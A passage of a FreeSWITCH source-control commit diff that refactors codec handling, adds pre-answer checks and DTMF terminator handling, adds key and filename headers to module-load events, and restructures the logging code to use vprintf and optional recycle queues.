-	switch_buffer_destroy(&fh->sp_audio_buffer);
-	if (!asis) {
+	if (switch_core_codec_ready((&codec))) {
 		switch_core_codec_destroy(&codec);
 	}
-	if (timer_name) {
+
+	if (timer.samplecount) {
 		/* End the audio absorbing thread */
 		switch_core_thread_session_end(session);
 		switch_core_timer_destroy(&timer);
 	}
 
-
-  end:
 	switch_safe_free(abuf);
 
 	switch_core_session_reset(session, SWITCH_FALSE, SWITCH_TRUE);
@@ -1285,7 +1427,6 @@
 	double energy = 0;
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	int divisor = 0;
-	switch_codec_t *read_codec = switch_core_session_get_read_codec(session);
 	uint32_t org_silence_hits = silence_hits;
 	uint32_t channels;
 	switch_frame_t *read_frame;
@@ -1298,18 +1439,19 @@
 	switch_frame_t write_frame = {0};
 	switch_file_handle_t fh = {0};
 	int32_t sample_count = 0;
+    switch_codec_implementation_t read_impl = {0};
+    switch_core_session_get_read_impl(session, &read_impl);
 
-	switch_assert(read_codec);
 
 	if (timeout_ms) {
-		sample_count = (read_codec->implementation->actual_samples_per_second / 1000) * timeout_ms;
+		sample_count = (read_impl.actual_samples_per_second / 1000) * timeout_ms;
 	}
 
 	if (file) {
 		if (switch_core_file_open(&fh,
 								  file,
-								  read_codec->implementation->number_of_channels,
-								  read_codec->implementation->actual_samples_per_second,
+								  read_impl.number_of_channels,
+								  read_impl.actual_samples_per_second,
 								  SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
 			switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
 			return SWITCH_STATUS_NOTFOUND;
@@ -1323,8 +1465,8 @@
 	if (switch_core_codec_init(&raw_codec,
 							   "L16",
 							   NULL,
-							   read_codec->implementation->actual_samples_per_second,
-							   read_codec->implementation->microseconds_per_packet / 1000,
+							   read_impl.actual_samples_per_second,
+							   read_impl.microseconds_per_packet / 1000,
 							   1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
 							   NULL, switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
 
@@ -1334,8 +1476,8 @@
 
 	write_frame.codec = &raw_codec;
 
-	divisor = read_codec->implementation->actual_samples_per_second / 8000;
-	channels = read_codec->implementation->number_of_channels;
+	divisor = read_impl.actual_samples_per_second / 8000;
+	channels = read_impl.number_of_channels;
 
 	switch_core_session_set_read_codec(session, &raw_codec);
 
@@ -1424,8 +1566,8 @@
 	switch_channel_t *channel;
 	switch_input_args_t args = { 0 };
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
-	char terminator;
-	size_t len;
+	size_t len = 0;
+	char tb[2] = "";
 
 	switch_assert(session);
 
@@ -1443,7 +1585,9 @@
 		return SWITCH_STATUS_FALSE;
 	}
 
-	switch_channel_pre_answer(channel);
+	if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
 
 	memset(digit_buffer, 0, digit_buffer_length);
 	args.buf = digit_buffer;
@@ -1464,9 +1608,14 @@
 	if ((min_digits && len < min_digits) || len < max_digits) {
 		args.buf = digit_buffer + len;
 		args.buflen = (uint32_t) (digit_buffer_length - len);
-		status = switch_ivr_collect_digits_count(session, digit_buffer, digit_buffer_length, max_digits, valid_terminators, &terminator, timeout, 0, 0);
+		status = switch_ivr_collect_digits_count(session, digit_buffer, digit_buffer_length, max_digits, valid_terminators, &tb[0], timeout, 0, 0);
 	}
 
+
+	if (tb[0]) {
+		switch_channel_set_variable(channel, SWITCH_READ_TERMINATOR_USED_VARIABLE, tb);
+	}
+
 	len = strlen(digit_buffer);
 	if ((min_digits && len < min_digits)) {
 		status = SWITCH_STATUS_TOO_SMALL;
@@ -1487,6 +1636,10 @@
 	
  end:
 
+	if (max_digits == 1 && len == 1 && valid_terminators && strchr(valid_terminators, *digit_buffer)) {
+		*digit_buffer = '\0';
+	}
+
 	if (var_name && !switch_strlen_zero(digit_buffer)) {
 		switch_channel_set_variable(channel, var_name, digit_buffer);
 	}
@@ -1516,7 +1669,7 @@
 		memset(digit_buffer, 0, digit_buffer_length);
 		switch_channel_flush_dtmf(channel);
 		status = switch_ivr_read(session, min_digits, max_digits, prompt_audio_file, var_name, 
-												 digit_buffer, digit_buffer_length, timeout, valid_terminators);
+								 digit_buffer, digit_buffer_length, timeout, valid_terminators);
 		if (status == SWITCH_STATUS_TIMEOUT && strlen(digit_buffer) >= min_digits) {
 			status = SWITCH_STATUS_SUCCESS;
 		}
@@ -1526,8 +1679,11 @@
 				if (switch_strlen_zero(digits_regex)) {
 					return SWITCH_STATUS_SUCCESS;
 				}
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Test Regex [%s][%s]\n", digit_buffer, digits_regex);
 				if (switch_regex_match(digit_buffer, digits_regex) == SWITCH_STATUS_SUCCESS) {
 					return SWITCH_STATUS_SUCCESS;
+				} else {
+					switch_channel_set_variable(channel, var_name, NULL);
 				}
 			}
 		}
@@ -1559,7 +1715,6 @@
 	int lead_in_out = 10;
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
 	switch_speech_flag_t flags = SWITCH_SPEECH_FLAG_NONE;
-	uint32_t rate = 0;
 	switch_size_t extra = 0;
 	char *p, *tmp = NULL;
 	const char *star, *pound;
@@ -1569,7 +1724,9 @@
 		return SWITCH_STATUS_FALSE;
 	}
 
-	switch_channel_pre_answer(channel);
+	if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
 
 	write_frame.data = abuf;
 	write_frame.buflen = sizeof(abuf);
@@ -1689,7 +1846,7 @@
 			}
 
 			if (args->input_callback) {
-				if (switch_core_session_dequeue_event(session, &event) == SWITCH_STATUS_SUCCESS) {
+				if (switch_core_session_dequeue_event(session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 					status = args->input_callback(session, event, SWITCH_INPUT_TYPE_EVENT, args->buf, args->buflen);
 					switch_event_destroy(&event);
 				}
@@ -1728,9 +1885,12 @@
 		}
 
 		flags = SWITCH_SPEECH_FLAG_BLOCKING;
-		status = switch_core_speech_read_tts(sh, abuf, &ilen, &rate, &flags);
+		status = switch_core_speech_read_tts(sh, abuf, &ilen, &flags);
 
 		if (status != SWITCH_STATUS_SUCCESS) {
+			write_frame.datalen = (uint32_t) codec->implementation->decoded_bytes_per_packet;
+			write_frame.samples = (uint32_t) (write_frame.datalen / 2);
+			memset(write_frame.data, 0, write_frame.datalen);
 			for (x = 0; !done && x < lead_in_out; x++) {
 				switch_yield(codec->implementation->microseconds_per_packet);
 				if (timer) {
@@ -1840,8 +2000,12 @@
 	const char *timer_name, *var;
 	cached_speech_handle_t *cache_obj = NULL;
 	int need_create = 1, need_alloc = 1;
+    switch_codec_implementation_t read_impl = {0};
+    switch_core_session_get_read_impl(session, &read_impl);
 
-	switch_channel_pre_answer(channel);
+	if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
 
 	sh = &lsh;
 	codec = &lcodec;
@@ -1875,8 +2039,8 @@
 	switch_core_session_reset(session, SWITCH_FALSE, SWITCH_TRUE);
 	read_codec = switch_core_session_get_read_codec(session);
 
-	rate = read_codec->implementation->actual_samples_per_second;
-	interval = read_codec->implementation->microseconds_per_packet / 1000;
+	rate = read_impl.actual_samples_per_second;
+	interval = read_impl.microseconds_per_packet / 1000;
 
 	if (need_create) {
 		memset(sh, 0, sizeof(*sh));
@@ -1894,7 +2058,9 @@
 		switch_core_speech_text_param_tts(sh, "voice", voice_name);
 	}
 
-	switch_channel_pre_answer(channel);
+	if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "OPEN TTS %s\n", tts_name);
 
 	codec_name = "L16";

Modified: freeswitch/branches/seven/src/switch_loadable_module.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_loadable_module.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_loadable_module.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_loadable_module.c -- Loadable Modules
@@ -52,6 +52,7 @@
 	switch_module_shutdown_t switch_module_shutdown;
 	switch_memory_pool_t *pool;
 	switch_status_t status;
+	switch_thread_t *thread;
 };
 
 struct switch_loadable_module_container {
@@ -77,7 +78,7 @@
 static switch_status_t do_shutdown(switch_loadable_module_t *module, switch_bool_t shutdown, switch_bool_t unload, switch_bool_t fail_if_busy, const char **err);
 static switch_status_t switch_loadable_module_load_module_ex(char *dir, char *fname, switch_bool_t runtime, switch_bool_t global, const char **err);
 
-static void *switch_loadable_module_exec(switch_thread_t *thread, void *obj)
+static void *SWITCH_THREAD_FUNC switch_loadable_module_exec(switch_thread_t *thread, void *obj)
 {
 
 
@@ -99,7 +100,7 @@
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Destroying Pool for %s\n", module->module_interface->module_name);
 		switch_core_destroy_memory_pool(&pool);
 	}
-	switch_yield(1000000);
+	switch_thread_exit(thread, 0);
 	return NULL;
 }
 
@@ -117,7 +118,7 @@
 
 		if (module->switch_module_runtime) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Starting runtime thread for %s\n", module->module_interface->module_name);
-			switch_core_launch_thread(switch_loadable_module_exec, module, loadable_modules.pool);
+			module->thread = switch_core_launch_thread(switch_loadable_module_exec, module, loadable_modules.pool);
 		}
 	}
 	switch_mutex_unlock(loadable_modules.mutex);
@@ -143,6 +144,8 @@
 				if (switch_event_create(&event, SWITCH_EVENT_MODULE_LOAD) == SWITCH_STATUS_SUCCESS) {
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "type", "endpoint");
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->interface_name);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", new_module->key);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "filename", new_module->filename);
 					switch_event_fire(&event);
 				}
 			}
@@ -186,6 +189,8 @@
 					if (switch_event_create(&event, SWITCH_EVENT_MODULE_LOAD) == SWITCH_STATUS_SUCCESS) {
 						switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "type", "codec");
 						switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->interface_name);
+						switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", new_module->key);
+						switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "filename", new_module->filename);
 						switch_event_fire(&event);
 					}
 				}
@@ -204,6 +209,8 @@
 				if (switch_event_create(&event, SWITCH_EVENT_MODULE_LOAD) == SWITCH_STATUS_SUCCESS) {
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "type", "dialplan");
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->interface_name);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", new_module->key);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "filename", new_module->filename);
 					switch_event_fire(&event);
 				}
 				switch_core_hash_insert(loadable_modules.dialplan_hash, ptr->interface_name, (const void *) ptr);
@@ -222,6 +229,8 @@
 				if (switch_event_create(&event, SWITCH_EVENT_MODULE_LOAD) == SWITCH_STATUS_SUCCESS) {
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "type", "timer");
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->interface_name);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", new_module->key);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "filename", new_module->filename);
 					switch_event_fire(&event);
 				}
 				switch_core_hash_insert(loadable_modules.timer_hash, ptr->interface_name, (const void *) ptr);
@@ -242,6 +251,8 @@
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->interface_name);
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "description", switch_str_nil(ptr->short_desc));
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "syntax", switch_str_nil(ptr->syntax));
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", new_module->key);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "filename", new_module->filename);
 					switch_event_fire(&event);
 				}
 				switch_core_hash_insert(loadable_modules.application_hash, ptr->interface_name, (const void *) ptr);
@@ -262,6 +273,8 @@
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->interface_name);
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "description", switch_str_nil(ptr->desc));
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "syntax", switch_str_nil(ptr->syntax));
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", new_module->key);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "filename", new_module->filename);
 					switch_event_fire(&event);
 				}
 				switch_core_hash_insert(loadable_modules.api_hash, ptr->interface_name, (const void *) ptr);
@@ -282,6 +295,8 @@
 					if (switch_event_create(&event, SWITCH_EVENT_MODULE_LOAD) == SWITCH_STATUS_SUCCESS) {
 						switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "type", "file");
 						switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->extens[i]);
+						switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", new_module->key);
+						switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "filename", new_module->filename);
 						switch_event_fire(&event);
 					}
 					switch_core_hash_insert(loadable_modules.file_hash, ptr->extens[i], (const void *) ptr);
@@ -301,6 +316,8 @@
 				if (switch_event_create(&event, SWITCH_EVENT_MODULE_LOAD) == SWITCH_STATUS_SUCCESS) {
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "type", "speech");
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->interface_name);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", new_module->key);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "filename", new_module->filename);
 					switch_event_fire(&event);
 				}
 				switch_core_hash_insert(loadable_modules.speech_hash, ptr->interface_name, (const void *) ptr);
@@ -319,6 +336,8 @@
 				if (switch_event_create(&event, SWITCH_EVENT_MODULE_LOAD) == SWITCH_STATUS_SUCCESS) {
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "type", "asr");
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->interface_name);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", new_module->key);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "filename", new_module->filename);
 					switch_event_fire(&event);
 				}
 				switch_core_hash_insert(loadable_modules.asr_hash, ptr->interface_name, (const void *) ptr);
@@ -337,6 +356,8 @@
 				if (switch_event_create(&event, SWITCH_EVENT_MODULE_LOAD) == SWITCH_STATUS_SUCCESS) {
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "type", "directory");
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->interface_name);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", new_module->key);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "filename", new_module->filename);
 					switch_event_fire(&event);
 				}
 				switch_core_hash_insert(loadable_modules.directory_hash, ptr->interface_name, (const void *) ptr);
@@ -355,6 +376,8 @@
 				if (switch_event_create(&event, SWITCH_EVENT_MODULE_LOAD) == SWITCH_STATUS_SUCCESS) {
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "type", "chat");
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->interface_name);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", new_module->key);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "filename", new_module->filename);
 					switch_event_fire(&event);
 				}
 				switch_core_hash_insert(loadable_modules.chat_hash, ptr->interface_name, (const void *) ptr);
@@ -373,6 +396,8 @@
 				if (switch_event_create(&event, SWITCH_EVENT_MODULE_LOAD) == SWITCH_STATUS_SUCCESS) {
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "type", "say");
 					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->interface_name);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", new_module->key);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "filename", new_module->filename);
 					switch_event_fire(&event);
 				}
 				switch_core_hash_insert(loadable_modules.say_hash, ptr->interface_name, (const void *) ptr);
@@ -397,6 +422,8 @@
 					if (switch_event_create(&event, SWITCH_EVENT_MODULE_LOAD) == SWITCH_STATUS_SUCCESS) {
 						switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "type", "management");
 						switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->relative_oid);
+						switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", new_module->key);
+						switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "filename", new_module->filename);
 						switch_event_fire(&event);
 					}
 				}
@@ -432,6 +459,11 @@
                 }
 
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Deleting Endpoint '%s'\n", ptr->interface_name);
+				if (switch_event_create(&event, SWITCH_EVENT_MODULE_UNLOAD) == SWITCH_STATUS_SUCCESS) {
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "type", "endpoint");
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "name", ptr->interface_name);
+					switch_event_fire(&event);
+				}
 				switch_core_hash_delete(loadable_modules.endpoint_hash, ptr->interface_name);
 			}
 		}
@@ -910,7 +942,7 @@
 	} else if ((status = switch_loadable_module_load_file(path, file, global, &new_module)) == SWITCH_STATUS_SUCCESS) {
 		if ((status = switch_loadable_module_process(file, new_module)) == SWITCH_STATUS_SUCCESS && runtime) {
 			if (new_module->switch_module_runtime) {
-				switch_core_launch_thread(switch_loadable_module_exec, new_module, new_module->pool);
+				new_module->thread = switch_core_launch_thread(switch_loadable_module_exec, new_module, new_module->pool);
 			}
 		} else if (status != SWITCH_STATUS_SUCCESS) {
 			*err = "module load routine returned an error";
@@ -1053,7 +1085,7 @@
 		module->switch_module_runtime = switch_module_runtime;
 	}
 	if (runtime && module->switch_module_runtime) {
-		switch_core_launch_thread(switch_loadable_module_exec, module, module->pool);
+		module->thread = switch_core_launch_thread(switch_loadable_module_exec, module, module->pool);
 	}
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Successfully Loaded [%s]\n", module_interface->module_name);
 	return switch_loadable_module_process((char *) module->filename, module);
@@ -1241,6 +1273,13 @@
 
 	if (unload && module->status != SWITCH_STATUS_NOUNLOAD 	&& !(flags & SCF_VG)) {
 		switch_memory_pool_t *pool;
+		switch_status_t st;
+
+		if (module->thread) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "%s stopping runtime thread.\n", module->module_interface->module_name);
+			switch_thread_join(&st, module->thread);
+		}
+
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "%s unloaded.\n", module->module_interface->module_name);
 		switch_dso_destroy(&module->lib);
 		if ((pool = module->pool)) {
@@ -1258,6 +1297,10 @@
 	switch_hash_index_t *hi;
 	void *val;
 	switch_loadable_module_t *module;
+	
+	if (!loadable_modules.module_hash) {
+		return;
+	}
 
 	for (hi = switch_hash_first(NULL, loadable_modules.module_hash); hi; hi = switch_hash_next(hi)) {
 		switch_hash_this(hi, NULL, NULL, &val);

Modified: freeswitch/branches/seven/src/switch_log.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_log.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_log.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_log.c -- Logging
@@ -58,7 +58,9 @@
 static switch_log_binding_t *BINDINGS = NULL;
 static switch_mutex_t *BINDLOCK = NULL;
 static switch_queue_t *LOG_QUEUE = NULL;
+#ifdef SWITCH_LOG_RECYCLE
 static switch_queue_t *LOG_RECYCLE_QUEUE = NULL;
+#endif
 static int8_t THREAD_RUNNING = 0;
 static uint8_t MAX_LEVEL = 0;
 static int mods_loaded = 0;
@@ -118,6 +120,19 @@
 	int x = 0;
 	switch_log_level_t level = SWITCH_LOG_INVALID;
 
+	if (switch_is_number(str)) {
+		x = atoi(str);
+
+		if (x > SWITCH_LOG_INVALID) {
+			return SWITCH_LOG_INVALID -1;
+		} else if (x < 0) {
+			return 0;
+		} else {
+			return x;
+		}
+	}
+
+
 	for (x = 0;; x++) {
 		if (!LEVELS[x]) {
 			break;
@@ -193,7 +208,9 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
-static void *SWITCH_THREAD_FUNC log_thread(switch_thread_t *thread, void *obj)
+static switch_thread_t *thread;
+
+static void *SWITCH_THREAD_FUNC log_thread(switch_thread_t *t, void *obj)
 {
 
 	if (!obj) {
@@ -224,9 +241,14 @@
 		switch_mutex_unlock(BINDLOCK);
 
 		switch_safe_free(node->data);
+#ifdef SWITCH_LOG_RECYCLE
 		if (switch_queue_trypush(LOG_RECYCLE_QUEUE, node) != SWITCH_STATUS_SUCCESS) {
 			free(node);
 		}
+#else
+		free(node);
+#endif
+
 	}
 
 	THREAD_RUNNING = 0;
@@ -234,21 +256,31 @@
 	return NULL;
 }
 
-#define do_mods (LOG_QUEUE && THREAD_RUNNING)
 SWITCH_DECLARE(void) switch_log_printf(switch_text_channel_t channel, const char *file, const char *func, int line,
 									   const char *userdata, switch_log_level_t level, const char *fmt, ...)
 {
+	va_list ap;
+	
+	va_start(ap, fmt);
+	switch_log_vprintf(channel, file, func, line, userdata, level, fmt, ap);
+	va_end(ap);	
+}
+
+#define do_mods (LOG_QUEUE && THREAD_RUNNING)
+SWITCH_DECLARE(void) switch_log_vprintf(switch_text_channel_t channel, const char *file, const char *func, int line,
+									   const char *userdata, switch_log_level_t level, const char *fmt, va_list ap)
+{
 	char *data = NULL;
 	char *new_fmt = NULL;
 	int ret = 0;
-	va_list ap;
 	FILE *handle;
 	const char *filep = (file ? switch_cut_path(file) : "");
 	const char *funcp = (func ? func : "");
 	char *content = NULL;
-	switch_time_t now = switch_timestamp_now();
+	switch_time_t now = switch_micro_time_now();
 	uint32_t len;
-	const char *extra_fmt = "%s [%s] %s:%d %s()%c%s";
+	//const char *extra_fmt = "%s [%s] %s:%d %s()%c%s";
+	const char *extra_fmt = "%s [%s] %s:%d%c%s";
 
 	if (level > runtime.hard_log_level) {
 		return;
@@ -256,27 +288,28 @@
 
 	switch_assert(level < SWITCH_LOG_INVALID);
 
-	va_start(ap, fmt);
-
 	handle = switch_core_data_channel(channel);
 
 	if (channel != SWITCH_CHANNEL_ID_LOG_CLEAN) {
 		char date[80] = "";
-		switch_size_t retsize;
+		//switch_size_t retsize;
 		switch_time_exp_t tm;
 
 		switch_time_exp_lt(&tm, now);
-		switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
+		switch_snprintf(date, sizeof(date), "%0.4d-%0.2d-%0.2d %0.2d:%0.2d:%0.2d.%d", 
+						tm.tm_year + 1900, tm.tm_mon+1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec, tm.tm_usec);
 
-		len = (uint32_t) (strlen(extra_fmt) + strlen(date) + strlen(filep) + 32 + strlen(funcp) + strlen(fmt));
+		//switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
+
+		//len = (uint32_t) (strlen(extra_fmt) + strlen(date) + strlen(filep) + 32 + strlen(funcp) + strlen(fmt));
+		len = (uint32_t) (strlen(extra_fmt) + strlen(date) + strlen(filep) + 32 + strlen(fmt));
 		new_fmt = malloc(len + 1);
 		switch_assert(new_fmt);
-		switch_snprintf(new_fmt, len, extra_fmt, date, switch_log_level2str(level), filep, line, funcp, 128, fmt);
+		switch_snprintf(new_fmt, len, extra_fmt, date, switch_log_level2str(level), filep, line, 128, fmt);
 		fmt = new_fmt;
 	}
 
 	ret = switch_vasprintf(&data, fmt, ap);
-	va_end(ap);
 
 	if (ret == -1) {
 		fprintf(stderr, "Memory Error\n");
@@ -317,6 +350,7 @@
 
 			fd = fileno(handle);
 			memset(&to, 0, sizeof(to));
+			FD_ZERO(&can_write);
 			FD_SET(fd, &can_write);
 			to.tv_sec = 0;
 			to.tv_usec = 100000;
@@ -345,14 +379,18 @@
 
 	if (do_mods && level <= MAX_LEVEL) {
 		switch_log_node_t *node;
+#ifdef SWITCH_LOG_RECYCLE
 		void *pop = NULL;
 
 		if (switch_queue_trypop(LOG_RECYCLE_QUEUE, &pop) == SWITCH_STATUS_SUCCESS) {
 			node = (switch_log_node_t *) pop;
 		} else {
+#endif
 			node = malloc(sizeof(*node));
 			switch_assert(node);
+#ifdef SWITCH_LOG_RECYCLE
 		}
+#endif
 		
 		node->data = data;
 		data = NULL;
@@ -366,9 +404,13 @@
 
 		if (switch_queue_trypush(LOG_QUEUE, node) != SWITCH_STATUS_SUCCESS) {
 			free(node->data);
+#ifdef SWITCH_LOG_RECYCLE
 			if (switch_queue_trypush(LOG_RECYCLE_QUEUE, node) != SWITCH_STATUS_SUCCESS) {
 				free(node);
 			}
+#else
+			free(node);
+#endif
 			node = NULL;
 		}
 	}
@@ -382,7 +424,6 @@
 
 SWITCH_DECLARE(switch_status_t) switch_log_init(switch_memory_pool_t *pool, switch_bool_t colorize)
 {
-	switch_thread_t *thread;
 	switch_threadattr_t *thd_attr;;
 	
 	switch_assert(pool != NULL);
@@ -394,10 +435,11 @@
 
 
 	switch_queue_create(&LOG_QUEUE, SWITCH_CORE_QUEUE_LEN, LOG_POOL);
+#ifdef SWITCH_LOG_RECYCLE
 	switch_queue_create(&LOG_RECYCLE_QUEUE, SWITCH_CORE_QUEUE_LEN, LOG_POOL);
+#endif
 	switch_mutex_init(&BINDLOCK, SWITCH_MUTEX_NESTED, LOG_POOL);
 	switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
-	switch_threadattr_detach_set(thd_attr, 1);
 	switch_thread_create(&thread, thd_attr, log_thread, NULL, LOG_POOL);
 
 	while (!THREAD_RUNNING) {
@@ -422,6 +464,7 @@
 
 SWITCH_DECLARE(void) switch_core_memory_reclaim_logger(void)
 {
+#ifdef SWITCH_LOG_RECYCLE
 	void *pop;
 	int size = switch_queue_size(LOG_RECYCLE_QUEUE);
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Returning %d recycled log node(s) %d bytes\n", size,
@@ -429,16 +472,24 @@
 	while (switch_queue_trypop(LOG_RECYCLE_QUEUE, &pop) == SWITCH_STATUS_SUCCESS) {
 		free(pop);
 	}
+#else
+	return;
+#endif
+
 }
 
 SWITCH_DECLARE(switch_status_t) switch_log_shutdown(void)
 {
+	switch_status_t st;
 
 	THREAD_RUNNING = -1;
 	switch_queue_push(LOG_QUEUE, NULL);
 	while (THREAD_RUNNING) {
 		switch_cond_next();
 	}
+
+	switch_thread_join(&st, thread);
+
 	switch_core_memory_reclaim_logger();
 
 	return SWITCH_STATUS_SUCCESS;

Copied: freeswitch/branches/seven/src/switch_nat.c (from rev 14471, freeswitch/trunk/src/switch_nat.c) (0 => 14472)


--- freeswitch/branches/seven/src/switch_nat.c	                        (rev 0)
+++ freeswitch/branches/seven/src/switch_nat.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,695 @@
+/*
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
